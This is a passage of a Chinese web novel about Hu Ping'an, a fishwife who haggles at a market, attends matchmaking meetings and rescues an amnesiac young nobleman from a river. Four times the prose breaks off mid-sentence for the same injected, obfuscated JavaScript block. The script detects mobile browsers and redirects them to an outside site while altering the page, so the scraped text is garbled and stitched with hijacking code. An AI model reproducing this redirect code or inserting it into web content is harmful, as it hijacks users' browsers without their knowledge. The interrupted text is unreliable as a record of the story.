她爷提着灯送她下了河堤，直到她的船离岸，那抹在黑暗中微微闪烁的暗黄光晕才晃晃悠悠地远去。 擦了擦眼角的泪，平安放下船桨，转而去后头掌舵调整前进方向。 每日早上去玉溪河，都是顺流而下。她今日吃了昨日剩下的艾草粑，那东西香糯糯，油滋滋，很是饱腹，如今她只觉身上尽是一把子力气无处发泄。 许是昨日总下雨的缘由，今日的天光亮得晚，河边的船也愈发稀少。 待平安的小船停泊靠岸，街道上依旧静悄悄。 索性现在没有客人，她将昨日得来的鱼分好类后，又将档口四周的卫生打扫干净。 她爷爱干净，爱规整，她也学了他的性格，看不得自己的档口脏乱差。 她旁边档口的豆腐娘子方氏这会也找上她闲聊，说起这豆腐娘子，那也是他们这市集有名的人物。 她年轻时便丧夫，留下她与一对儿女在村里艰难生存。 孤儿寡母，自然是村中受人欺负的对象，好长一段时间他们的日子并不好过。 幸好她身上有门做豆腐的手艺，靠着勤劳，她也将一对儿女养大，如今也是快熬出了头。 她家的香干与豆腐脑不但没有豆腥味，口感亦十分细嫩爽滑，平安也自诩见过几分世面，可她在别处都尝不到她这个味。 这不同的人点卤、制豆、不同的时间、温度、比例，出来的味道那都是失之毫厘差之千里。 这好味道，也是豆腐娘子能在这站稳脚跟的缘由。 今日她来，不是为别的，只是想与平安分享分享她最近新得的八卦逸闻。 “胡娘子啊，我同你说，街上那卖杂货家的娘子你还记得？前段时间听说得了重病，可我听说那是被她家男人打了不好见人，可怜的哟~~” “还有那木家垸的李员外，别看他平日里一副威风凛凛的模样。你可知，他家的娃不是他娘子生的，那是......” 平安听得津津有味，不时捧哏几句，惹得豆腐娘子娇笑连连，待有客上门，她甩了甩帕子，心满意足地离开。 今儿曹伯又来到档口，只是这次他不是来买鱼，而是与平安捎口信。 那钱冰人竟与她找了个相看的对象，约着她今日下午未时在镇上望月茶楼相看。 平安点头谢过曹伯，转身要送他一条鱼，可曹伯却连连摆手，不过须臾，人已经逃得不见了踪影。 平安无奈放回手中的鲫鱼，将手洗净，搬着小板凳坐到档口旁边与香料铺的杨婶闲聊起来。 “杨婶，您之前说炖那羊肉汤用哪样香料来着？我这脑袋也糊涂了。” “胡说八道，小小年纪怎么会糊涂，这炖羊肉用八角香叶花椒都成，这香料，并不是越多越好。” 她想了想，又补充道：“不过呀，最好再加上些葱增香去腥。” “那就成，我还以为自个记错了呢。”平安笑嘻嘻接过话茬。 “胡娘子！”一声高呼打断两人的闲聊，平安赶忙起身迎客。 “哎，来了！” 卖鱼多年，来的基本都是熟客。 这不，这唐家的采买管事这会已自顾进了档口，四处打量起今日的新货来。 “哟，今儿有银鱼？” “是的，来的不多，这可是云梦湖中才捕得到的，再过几天就要禁渔，可是想吃也买不到咯。” “全给我包起来。”采买婆子看了眼这鱼，活生生，很新鲜，于是大手一挥，独揽这盆好货。 这可是稀罕东西，不拘是炖汤还是煎炸，都是上品美味。 她家少夫人最近生了孩子，吃些这个补补正好。 “好嘞，八十文一斤，一共一斤七两，盛惠一百三十六文。” 将银鱼沥水上称，平安利索报出价格。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053556|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这样贵，我记得以前好似不是这个价？” 以前怎么可能不是这个价，这无非是她又想压价罢了。 “哎哟。”平安弯腰对她笑道，“我的个好姐姐哟，我这一直是明码标价，怎敢随意欺瞒客人。” 说罢，她指着盆中的银鱼道：“您看看，这鱼色泽晶莹剔透，个个活蹦乱跳。” “这可是禁渔前最后一次卖银鱼，我这水还沥的干干的，也从不缺斤少两，实在是小本生意，薄利多销。姐姐您若愿意，那便给您抹个零，一百三十文拿走。” “你这小娘子，我这一把年纪了你如何能叫我姐姐？”说是这样说，但采买娘子的脸色肉眼可见地明媚起来。 胡平安奉承道：“怎会一把年纪，您肤色白皙，看着同我年纪差不了多少呢？” “罢了罢了。”得了好，那采买娘子眉飞色舞地捂了下脸，从怀中掏出几串铜板。 两人将数数清，送走客人，平安心中暗松一口气。 对门的方氏围观了全程，对着平安笑得挤眉弄眼。她走上前嘀咕两句：“明明都有油水可捞，硬要在咱这穷苦人家上再刮一层皮。” 平安掂了掂手中铜子，听得这话，上扬的嘴角也逐渐下耷，除了与他们关系好高价进行勾兑的。这市集里哪家卖菜的商户没被刮过？方娘子此言，不过是倾心吐胆，宣泄一番自己曾受的窝囊气罢了。 她亦随她叹了口气，旋即转身坐下歇息。 这会正是早上买菜高峰，歇不了多久，又有客来到。 这次来的，倒是个新客。 平安拢共见了她两回，今儿是第三回，却对她印象极其深刻。 无他，这位新开的许氏脚店的掌柜，对她实在过分热情，热情到，平安恨不得躲到隔壁避开她才好。 第一次见面，她待她还算正常，可自从知晓她尚未婚配后，这位许娘子就不时在她面前提及自家儿子。 “胡娘子，今儿生意兴隆呀！”那掌柜的笑意盈盈，一双美目直勾勾地盯着平安。 “托各位街坊邻居的照顾，生意还算勉强。”平安脊背发僵，脚下步伐却已不自觉朝前方走去。 “您今儿要来些什么？” “嗐，客人要吃清蒸鲈鱼，给我来上一条中等的罢。”她一甩帕子，脸上仍是盈盈笑意，盯得平安脊背发寒。 她赶忙转身寻鱼，刚称完重，便听许娘子夸道：“胡娘子仙姿玉貌，可是咱们玉溪镇上的一枝花儿。” 来了，来了，果真又来了。 她哪算得上仙，她每日里不是穿蓝就是穿灰，多年的劳作早已将她肌肤晒黑，除去五官尚且算得上明艳外，其余的属实不值一提。 也不知这位许娘子究竟看上了她哪里？ 平安长叹一息，接过话头：“哪有您夸的这样好，实在惭愧。” 见她仍然万分热情，平安忙找补一句：“若真有这般好，我也不会因为招赘蹉跎至今了。” “胡娘子，女儿家何必这样为难自己，依我看，你若是愿意嫁人，这镇上的冰人怕是要将你家门槛踏破哟。” 说罢，她付了钱，提着鱼就走。 走之前也不忘笑呵呵同平安道别：“下次有时间来我脚店玩玩，咱俩好好聊聊。” 等她离开，一旁的杨婶与方娘子也上前凑趣：“这许娘子莫不是看上你，想让你当她家儿媳了吧？” 平安摇摇头，只掩着脸，作糊涂不知：“这我可不敢乱猜，这玉溪镇谁人不知我的名声，若是被人传出去，说我恨嫁恨得生了臆想，那可就笑掉了大牙。” 方娘子拉了拉她衣袖：“你这促狭鬼，依我看，这许娘子有一句话可没说错。你哪里差了，长得漂亮，又有本事，你若愿意嫁人，那可是咱玉溪镇最紧俏的小娘子了。” 杨婶也连连应是。 看着两人闭眼对她一顿乱夸，平安也只得无奈地应和她们。 紧俏，那是以前。 5. 杀鱼的第五天 第一次相看前，她虽有些威名，但也不至于被众郎君畏之如虎。 因着她档口杀鱼的营生并未隐瞒男方，那次相看后，他们并未当场定下，谁知那郎君竟私下里来档口寻她。 当时她还年轻，被市集那卖猪肉的婆娘欺负后便与那人当场对骂起来，两人声音一个赛一个高，平安更是骂人不带脏字。 气急败坏之下那婆娘开始动手，平安自然也不甘示弱，仗着一把子好力气将那婆娘压得丝毫没有反抗之力。 那郎君见了她这般凶神恶煞的厉害模样，再好看的天仙也变成了罗刹，哪里还敢要她。 第一次相看，以得了匹锦缎为结局。 第二次相看，那人知晓她以杀鱼为生，只说自己不嫌弃，硬要她带他去看看她平日里如何生活。 等见得她面不改色提起一条十几斤重的鱼，手起刀落，血肉飞溅。 那郎君只捂着头道自己突发不适需要回家修养，直到现在病都没好。 第三次，平安痛定思痛，再也不带人去档口。 两人在茶楼相看得好好的，谁知意外骤生，那郎君吃小食时被呛，平安好心替他拍打，心急之下未曾收敛力气，一不小心拍断了他两根肋骨。 这一次，不但锦缎没得到，还倒赔了好几贯银钱。 ...... 再后来的事，她更是不想提，总归是恶名远扬，再无冰人愿意接她的单。 三人成虎，众口铄金。 她现在在玉溪镇适龄郎君心中的模样，那就是五大三粗，牛高马大，力大无穷的女罗刹，还仙姿玉貌，她的婚嫁行情连普通小娘子一半都比不得。 忙完上午的生意，今日入账大几百文，生意倒也还算不错，不枉她冒着风雨闯荡大河。 平安觉得，长大除了要成亲外，其他的都好，起码她可以自己偷偷捕鱼，比之前赚得更多钱。 这些钱可以说得上是净赚，今日卖的鱼她少有进货，许多都是从自家池塘或是河中捞出。 是以平安也就不再归家，只是在市集里吃了碗扁食充当午膳，换了身干净衣衫，将自己收拾收拾，便提步去相看的茶楼。 “哟，来啦！” 见得平安一袭浅绿色粗布布衣，脸上未施脂粉，一头乌黑的长发只用布簪与桃木挽了个朝云髻，钱冰人心下虽不满这娘子未认真妆扮，面上依旧维持着表面热情。 “这男方家呀，是咱们长风镇牌坊村的。郎君姓汤名缙，今年二十又三，比你大上几岁。” 平安点点头，钱冰人继续交代：“他家穷，爹娘生了一挂的儿子养不起，早早去了。他呢，是家中老二，身上也无什么传宗接代的重任，昨儿我问了他，他说愿意上门。” “郎君脾性如何？”平安扭头细问。 “是个踏实本分的，之前他哥送他学了两年木匠，也算有门手艺谋生。” 听着倒是不错，只是具体如何，还得见了面才知。 不多时，男方家风风火火来了好几个人。 钱冰人上前拦住他们嘀咕了半晌，最终进来的就两个人。 经钱冰人介绍，坐中间的是给她相看的汤二郎，他旁边眼角耷拉，肤色蜡黄的年长妇人是他嫂子。 “咱们胡娘子，可是玉溪镇的一枝花。”钱冰人一进门便开始卖力夸赞。 平安听罢，扯出一抹笑容朝对面温和点头。 “她勤快本分，可写得一手好字，绣得一手好花。外可出得厅堂，内可入得灶房，家中更是有良田数亩，铺子一间，算是咱镇上殷实的好人家。” 钱冰人此话一出，平安就被惊得一激灵，腰背瞬间挺直，这冰人，也太敢说了。 好字？ 她只勉强认得几个大字。 好花？ 会补衣裳补丁算不算一种花儿？ 厅堂？ 她只出得档口与池塘。 良田数亩，嗯，如果两亩也算数。 铺子？ 租的。 越听，平安越是头晕目眩，她可算明白，钱冰人自称从无败绩的缘由了。半真半假，骗到人心醉，婚后直流泪。 钱冰人转头又对着她介绍起男方来。 “汤小郎君面目俊朗，身高七尺，猿臂蜂腰，不但人长得结实，这做木匠的手艺更是一流。以后啊，大到家中房屋建造，小到桌椅板凳，他都一手抓。” 平安暗自瞧了他一眼，看着倒是挺结实，也不知道扛不扛得住她一拳。 “不拘是耕田下地，还是刨木雕花，家中里里外外，他都是其中好手，人呢，更是体贴入微，通情达理。若是进了你家，胡娘子可就等着享福咯。” 她的话说完，汤家嫂子下垂的嘴角渐渐上扬，那双迷蒙的眼睛中竟出现几分亮眼神采。 而汤家二郎，在瞅了平安一眼后，一直低头垂眸，不敢再直视她。 平安兀自打量汤家叔嫂表情，看样子，两人对她的条件还算满意。 钱冰人望着两边和谐对坐的年轻男女，心下十分满意，她又连说几句好话，便将空间留给男女双方。 “我家中就我一个女儿，婚事自要招赘，不知汤郎君可否接受？” 汤二郎郑重地点头。 平安对他的模样也还算满意，虽算不上让人一眼惊艳，但他眉目硬朗，眼神坚定，看着倒像个实在人，既如此，那话题便可深聊下去。 “婚后需要与我一同住在玉溪镇，孩子需跟着我姓，不过，平日你家中若有事你也可回去。” 汤二郎刚欲点头，他身旁的嫂子便插话：“胡娘子，你们生的第二个男孩，得跟着我们汤家姓。” 那也成，反正她只需要一个记在族谱上的名字。若两人成了亲，自己的孩子，不拘他姓什么，总归是自己的心肝肉。 平安点头同意。 仿佛是见她还算知礼，浑然不似传说中的彪悍，汤家大嫂显然松了一口气，眉眼瞬间舒展起来。 殊不知，今日能这样平和，皆是平安吸取多次相亲失败教训的结果。 再不成，她怕是真找不到郎君了。 “若是两家成亲，你们那边可有什么要求？”望了眼衣着比她还寒酸的汤家叔嫂俩，平安开门见山。 “我......” 汤二郎刚开口，话便被他嫂子打断：“普通人家嫁女，都可得一份财礼。我们家兄弟姊妹多，爹娘又去得早，我家老二也是家中的主要劳力，他若与你成亲，我们家中境况就要差许多，这一点，还请胡娘子理解。” 平安点头表示理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路过街角的猪肉摊，她想了想，割上半斤肉，够他们祖孙俩吃上一天。 至于市集里的那肉铺，莫说照顾生意，她不把他们摊子掀了都算好的。 当年要不是肉铺那婆娘为着生意无端找她吵架，她怎会一刀将婆娘的砧板剁成两半，还不顾形象与她对骂厮打，也搅黄了自个婚事。 提着满满当当的东西，平安满载而归。 今日她没出去捕鱼，只能在回家路上试上几网，明日再从自家池塘、鱼缸捉上几条，也勉勉强强够一天的销量。 来到码头，今日的人倒是比昨日要多。 见得平安出来，许多熟人纷纷招呼。 “胡娘子回家了？” “明儿有脆肉鲩吗？” “是啊，有的。”平安笑着一一应答，弯腰解开小船的绳索。 这些人，以前可不似现在这般对她客气，甚至不乏有人见她落单，想要占她便宜。 结局如何，显而易见。 平安拍了拍手，不屑地吭哧一声，有些狗男人就是欺软怕硬，被她揍一顿就老实了。 6. 杀鱼的第六天 不想之前那些不开心的事，平安现在只想赶快回家帮爷爷分担家务。她家喂养家禽、锄地薅草，打扫卫生这类杂事可都有得忙。 见得眼熟的长杉护堤林，便到了月河村，平安加快速度往她家后面那小码头赶去。 终于靠岸，她放慢速度，将船头对准河堤慢慢靠拢。 老远她便看见她上河堤的那条小路，今儿又整整齐齐铺上一层细碎的小石子，一丝滑溜泥巴的踪影也无。 连这靠水的河滩边，也摞上厚厚一堆干净蓬松的稻草，人踩上去，就不需弄脏鞋。 家后面的这条小路，是她爷为了她上下河堤方便亲手挖的，今日这样规整的杰作，除了她爷，平安不做他想。 吸了吸鼻子，平安昂首微笑朝家走去。 “爷爷，我回来啦！” 未进院门，平安便已欢快出声。 “安安，回来了。”听得声音，她爷立马放下手中活计，这会已佝偻着背，慢慢悠悠走到檐下。 见她身上包裹冗重，他忙加快步伐上前要接过她手上的包裹。 “爷爷，没事，我来。”平安身体一偏，躲过她爷的手。 “你这孩子，莫逞强。” “没事的爷爷，我力气大得很。”平安笑嘻嘻提着东西进了院门。 将这些金贵的米面糖放在桌上，她又返身回外边，去提她的那两个桶。 一路上虽没得几个大鱼，但是得了几条鲫鱼，一条草鱼，还有一堆活蹦乱跳的小青鳉。多攒一点是一点，要不然她每日开销这样大，何年何月才能建新房呀。 今儿相看这事，结果她不是很满意，若再过几日对方仍不愿意降低金额，那她便要考虑找别人了。 这事，在未有定论之前暂时还是不要告诉她爷才好。 他每日里少眠少休砍竹剖篾，去编织那些竹制品，若能卖得出去，一天拢共也只能赚个二三十文。 五十贯，她爷爷这辈子的积蓄都没有五十贯，那汤家大嫂莫不是以为把她小叔子卖给她了不成。 这世道，便是去人牙那买个年轻力壮的仆从，一二十贯顶了天了。 便是汤家郎君再能赚钱，他也得花上好些年才可以替家中赚到这五十贯，真的是打得一手好算盘。 将东西放下，平安去灶房咕噜咕噜猛灌一瓢水进肚，这才解了心烧般的渴。 她将买来的肉分成两半，一半切片爆炒，一半加上些许面粉剁成肉泥做汤。 处理好肉后，她这才出门打理院子。 如今正是春日，许多冬日的青菜已逐渐老化，口感越来越硬，而白菜在一场春雨过后，抽出嫩生生的菜苔。 田垄间，小路旁萌生许多郁郁葱葱的青草，也需人耐心去薅。 若是一日不管，杂草疯长，抢了青菜的肥，今年的菜便长不好，也缺了些味道。 见她又蹲在菜地拔草，胡水生见了忙起身喊她：“安安，回来，莫被日头晒伤了。” 这会已临近傍晚，太阳并不毒辣，平安才不管这些，她从来不需靠这张脸吃饭。 这些累人的活，她多做一些，她爷就可以少做些。 终于薅完一垄土，平安擦了擦额间的细汗，走到堂屋。 她爷竟已编完一个斗笠，今日他给她修了路，家中的活也没少干，看样子，他今儿一天都没怎么歇息。 午间她没回来，估摸他就随便敷衍了两口。 她爷这样勤俭简朴，平安有时觉得花钱心中都会顿时罪恶之感。 五十贯，她和爷爷多年积蓄早已用于还债，现在手头这些钱，也是怕家中出急事无法周转，才暂且留下。 若再向别人借一些，或是拿档口抵押赁些钱款，凑一凑也勉强能凑出来。 可她不想。 这些钱都是她和爷爷一个子，一个子辛苦多年攒下的，她舍不得掏空，更不想为了一个郎君一场婚事，再度背负债务。 前些年省吃俭用，缩衣节食，一个铜子恨不得掰成两瓣花的日子她实在是受够了。 她也想每日赚到的银钱都能自由支配，她也想去看看村人口中城里的繁华盛景。 她还想把她家的黄土泥屋换成青砖黑瓦的结实大屋，她不想一到雨季，外边下大雨，家中便哗啦下起小雨。运气不好，遇上狂风，她家的茅舍屋顶都被风吹走过几次。 若是这些钱一次性花掉，那她与爷爷就要一直住在这破烂的黄泥屋里，这绝非她所愿。 有时候平安心想，她多想破罐破摔，去寻个看得过去的郎君，找他借个种。 这样就能免了那样多的人情往来与麻烦，还能给她老胡家留个后，多好。 可惜这样冒天下之大不韪的想法，她只敢想想，从来不敢宣之于口。 给鱼儿喂食的时候，她惊觉再过两日便要到禁渔期，她得早做准备才是。 届时不光是村镇，官府也会派出差役在河道巡逻，她可不能再去河中捕捞了。 相看可能再次失败，日子也得照常过。 平安这日卖了个早，打算趁着禁渔期未到，捞上几网大的补补亏空，毕竟，这无本生利的日子不多了。 等过了明日，市集的鱼就进入淡季。 鱼儿进价成本涨价不说，养殖的鱼还没有野生的鲜嫩清甜，许多嘴挑的客人都不喜欢，她生意自然也冷淡下来。 也幸好她闲聊间听得那南边游商吹嘘，他们那的草鱼用蚕豆喂养，肉质极其鲜嫩，便是人参燕窝不过如此。 平安本就为这淡季伤神，她将那人的话记在心中，自家池塘也用蚕豆养起了脆肉鲩。 这是她的秘密，也是她的发家法宝，她谁也没告诉。 为着这事，爷孙俩也破天荒地花重金围了个围墙，用她伯爷爷的话来说，那就是屎盆子镶金边，破房子配个好围墙作甚。 她爷听了也不恼，只是笑着与哥哥解释，孩子大了，长得又俊，他心里担忧着嘞。 平安带上菜市口买的油炸芋头饼并两个肉包，这才提着她的桶往洛河赶去。 玉溪河属内河，当地人皆称呼小河，而洛河因着连通云梦湖，水域宽阔，是南来北往的水路要道，涨潮时水流更是奔流汹涌，滔滔不绝，当地人喜称呼其为大河。 许是因为水匪收敛了动作，小河里今日来往的船只与人流倒还算多。 等行船至大河，放目望去，灰蓝的天与辽阔的水域在地平线接壤，入目只觉水天一色，烟波浩渺，宽阔的河流上竟无多少行船。 越走，人迹愈发罕至。 今儿这河道，安静得她心慌，她心中难以自抑地想起昨儿老李同她说的水匪之事，分神之间，手一抖，渔网并未撒远。 所幸今儿第一网鱼未漏空，上来的是几条常见的小鲫鱼，小黑鱼与一条两三斤重的草鱼。 嘿，收获不错，勉强能卖个几十文。 这鲫鱼清蒸红烧炖汤，黑鱼片肉打边炉，草鱼切块油炸，各有特色吃法，这几样鱼在玉溪镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053558|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还算受欢迎。 平安继续往前行船百米，再撒一网。 这一网沉甸甸的，浑然不似之前那几网。 她用力拉上，里面尽是活蹦乱跳的白鲢与胖头鱼，还捎带了几条稍贵的刁子。 平安心满意足地将鱼分类放好，尤其是凶狠的黑鱼，她可不能把它和小鱼放一块，否则那些小鱼都会变成它们的盘中餐。 今儿她来，主要是为了那临近深水湖泊的贵重鱼虾。 不拘是小银鱼，青虾，对虾，白虾，还是翘嘴鮰鱼，只要能多捞上一些卖得上价的鱼虾，她未来两个月的亏空就会小一些。 若能碰得出手阔绰的外地贵客，那一网贵鱼赚个一两贯银钱也不为多。 连着空了数网，平安又往前行船两里，这个正是大河拐弯处，再往前几里，怕就得进云梦湖了。 够了，此处水流汹涌，想来鱼虾活动频繁。 一股轻风袭来，吹散平安额前碎发，她只是搓了搓手掌，盯着前方广阔的水域跃跃欲试。 只期待这一网能让她有个好收成，若是这网效益好，她今儿就打道回府。 一网下去，上来一些小鱼与一兜白虾。 这白虾肉质细嫩，营养丰富，一些富贵人家的管事喜欢买，虽无大鱼，但平安也很是心喜。 她适当调整船舵，将船往右边移动。 平安掏出怀中的芋头饼囫囵咬了几口，剩下一半她撕碎扔向远方。 河神老爷，龙王老爷，求赐小的一网丰收吧，等小的发财，定不忘给您祭祀回礼。如此祷告一番后，望着河面点点波澜荡漾，她这才心满意足再撒一网。 让平安没想到的是，这一网沉甸甸的，竟真“丰收”。 平安兴高采烈地将网拉上，这里面除了一些水草与小鱼小虾，竟一条大鱼也没，这最重的东西竟是一块沉甸甸的大木头。 这哪是丰收，这是欠收。 罢了罢了，河神大人既然赐下，平安虽家中不缺木头，却也只好将它捞起，回家晒干给她爷当柴火或者篱笆都成。 费了这么大力气，不要白不要。 等拿到手中端详，平安便惊觉不妙。 不对，这不是普通木头，这是上好的榆木，这花纹，这样式，这断口，这分明是被巨力折断的舵杆。 连船舵都被冲到这里，那前面的船身是何状况，平安不敢想象。 平安后退一步，迟疑地咽了咽口水，转身掌舵将船调整方向。 还捞什么鱼，小命要紧。 蓦地，她余光发现前方似有个黑点，在水面起起伏伏。 是什么？ 平安心中一个咯噔！ 她凝神远远望去，好似是个人。 救，还是不救。 这人又是好是坏？ 她现在的位置，怕是离那些传说中的水匪很近。 想到自家爹当年溺亡在云梦湖，也是路过的渔船带着他的人送回来。 平安深吸一口气，终究还是决定上前一观。 若是有救，她便救他一命。 若是没救，她也送他入土为安。 此处水流激荡，不多时，那起起伏伏的黑点竟隐有下沉趋势。 不好，平安手中用力，木桨吃水愈深，直直朝那黑点追去。 不过十息，平安便已接近目标。 果然是人，好似还是个郎君，那一身亮眼的宝蓝色华贵衣衫，莫不是被水匪打劫的富家衙内罢？ 7. 杀鱼的第七天 平安用船舱中的鱼叉小心翼翼将他勾至船边，这才将他提上船。 这等精细紧张的活计，可比杀鱼累多了。 等人完好无缺地上来，平安已惊出一身冷汗。 她颤抖着去试探他的鼻息。 热的。 平安后退一步，心中暗松一口气。 这气息虽然微弱，但好歹还是个活人。 这样就好，平安上前掀开他凌乱的黑发，想替他压一压胸中的积水。 黑发褪至两旁，郎君神仪明秀，眉目疏朗的玉颜瞬间映入眼帘。 这，在玉溪镇生活二十年，平安倒难得见到老一辈所说剑眉星目，面如冠玉的年轻郎君。 这人睫毛浓密，鼻梁高挺，瞧着气质很是清贵，不看穿着，单看这张脸，便知不是平民家庭可精养出的。 只是他面色惨白，瞧着倒有几分楚楚可怜的风韵，倒减损了他眉宇间的傲气。 这样想来，平安倒也不觉这郎君有那样难以接近，她随意地拍了拍他的脸，却被他脸上冰冷的触感激得缩回了手。 指腹方触上他脸庞，她便觉寒意顺着两人相触部位朝指尖蔓延，这样冰凉，不知到底在水中泡了多久。 许是最近被逼婚逼得受了刺激，平安一瞬间繁杂心绪上涌，脑袋也竟同吃了毒菇一般做起梦来。莫不是今年时来运转，老天爷看她可怜送了个夫君给她吧。 可再瞧见他身上辨不出名字的名贵布料，平安心中那一点隐秘的幻想也落了空。 哎，罢了，人贵有自知之明。 两人身份之差犹如天堑，她还是莫再多想。 见他双目紧闭，半晌不见反应，她只得替他按压出一些水，待他呼吸平稳，将人安置在船舱，这才赶忙调头往回赶。 今日遇见这人，算是她倒了大霉，再捞下去，她真怕她再捞出些什么浮尸来。 不过，转念一想，福兮祸之所倚，若不是遇见这人，她莽莽撞撞继续往前，怕是要被水匪剐掉一层皮。 平安心中惊惶，一路疾行。 待见到她们村熟悉的护堤杉树时，她绷紧多时的脊背终于松了下来。 平安小心地打量四周，这会还没到晚膳时间，村中走动的人不是很多，她这才放心将她的鱼儿都提回家。 与她爷打了声招呼后，她又蹑手蹑脚折返回船上，看了眼四周无人，这才小心翼翼背起这昏迷的郎君往家中走。 见孙女背了个湿漉漉的男人回家，胡水生吓了一大跳，赶忙跑上前将院门关紧。 祖孙俩将这人安置在他们偏房的竹床上，胡水生便将平安赶了出去。 他找来自己的衣物给这年轻郎君换好，这才开门喊孙女进来。 “这人，你打算怎么办？”他摸了摸惊魂未定的心口，指着床上那人问道。 “等他醒来再说吧。”见她爷心惊肉跳的模样，平安也不自觉压低声音。 “你这孩子，是不是又去大河了？”似乎是想到什么，胡水生恨铁不成钢地瞪了她一眼。 平安低头，弱弱解释：“明日就禁渔了，我想着去捞上一把就收手。谁知鱼没捞到几条，就发现这人和断了的船舵一同飘在水面。” 见她爷半晌不回话，平安知道他又想起了伤心事。 “爷，你放心吧，我一定会好好照顾自己，我还得给你生个曾孙呢。” “你这丫头，在家说说便成，要是被别人听到了，可要说你不知羞了。”胡水生扬起手佯装要敲打她脑袋。 “知道了爷。”平安咧嘴憨厚一笑。 “去去去，给他熬点红糖姜汤过来。” “好的呢，爷。” 平安承认，救这人，除了做好事积德外，她也另有私心。 这人衣着这样华贵，想来身世不菲，若是他能醒来，作为他的救命恩人，她也可结个善缘。 只是平安算盘打得好，珠子却落了空。 等她端着熬好的姜汤进门，见到的就是一脸迷茫呆愣的郎君与她爷相顾无言的场景。 “怎么了爷爷？” “你来。”胡水生招了招手，示意平安坐在身旁。 爷孙俩一同看着眼前这个一脸懵懂的郎君，心下都有不祥的预感，互相对视一眼后，还是平安率先开口：“你叫什么名字，家住在哪里？” “我？” 那郎君一见平安，那双盛满迷雾的漂亮眼眸瞬间拨云见雾，闪耀着灼灼亮光。 良久，似意识到自己的唐突，他闭眼捂着脑袋，剑眉微蹙，神情迷茫又窘迫。 只见他檀口微张，低声呢喃：“我，我叫什么名字？” “我。”他抬头看向平安，眼中满是迷茫与无措，“我记不得了。” 这样的眼神，平安见过很多，她深吸一口气，尽量忽视那双桃花眼中所迸发的潋滟水光，冷静问道： “那你可还记得家在哪里？” 那郎君继续摇摇头。 思及那五十贯没得少的财礼，再看这呆愣愣的木头俊郎君，平安心中压抑多时的荒谬想法再度破土而出。 她着实有点想向这郎君借样东西。 就以医药费与伙食费来抵扣。 平安清了清嗓，笑得温柔又熨帖：“说不定你是在水中受了伤，这才一时想不起来。你勿要担忧，我去给你找个大夫看看。” “多谢小娘子。” 将姜汤放下，爷孙俩出了门。 “你这孩子。”胡水生压低声音斥道，“怎生这般胆大。” 平安一眼便知她的心思被她爷爷看穿，但那人还醒着呢，她也只得压低声音承认错误。 “哎，他一看就是高门大户家精养出来的郎君，与咱们是一个天上，一个地下。爷爷不是怪你，是怕你吃亏。” “若是出了什么事，咱们胳膊可拧不过大腿。” 平安点点头，神色认真地承诺：“爷爷，您放心，我会把握好尺寸的。” “哎。”胡水生拍了拍她的肩，没再说话，这孩子，一向主意大。 至于这大夫，自然也不会请近边的，胡平安划船去了隔壁镇上，出了诊费与封口费，便拖着那老大夫绕来绕去，这才回到她家后面的河堤旁。 结果自然是无功而返，除了看出这郎君颅脑受伤，气血亏空，身上多处磕伤，老大夫也只能得出个淤血压迫的诊断结果。 “那他可还能好？” “这个说不定，可能明日便好，也可能......”老大夫摇摇头，提笔留下两张方子让他们去抓药。 等人散尽，平安坐到床边，看着面色惨白的虚弱郎君，温声问道：“你日后作何打算？” 那郎君捂着太阳穴，轻轻摇头，倏地，似想到什么，他凝视看向平安，语带祈求：“我，可不可以拜托小娘子先收留我一段时日，我不会吃白食的。” 平安状似为难地叹气：“哎，不是我不想收留郎君，只是我尚待嫁闺中，家中就我与祖父两人。若没人知晓便还好，若是有人知道，那便不成了。” 那郎君下意识往腰间摸去。 “你是在找你的东西吗？都在那里，我们换下来便没动过。”平安指着墙角那篮中他换下的衣物，娇声问道。 咳咳，她好久未曾夹着嗓子这样说话了，着实让她老脸一红。 “是。我虽不知我之前是因何事落难，但娘子的救命之恩，某无以为报。” 平安任他在那团衣物间四处摸索。 最终，他从腰带上抠出两块宝石交给平安，请她拿去当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053559|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉换些药钱。 这人，也还算知礼。 这钱，自然是不要白不要。 救了这人，平安的生活基本没甚变化，只是每顿多备上了一口吃食。 至于别的，莫要多求，他们自己还是住着破烂的黄土屋呢。 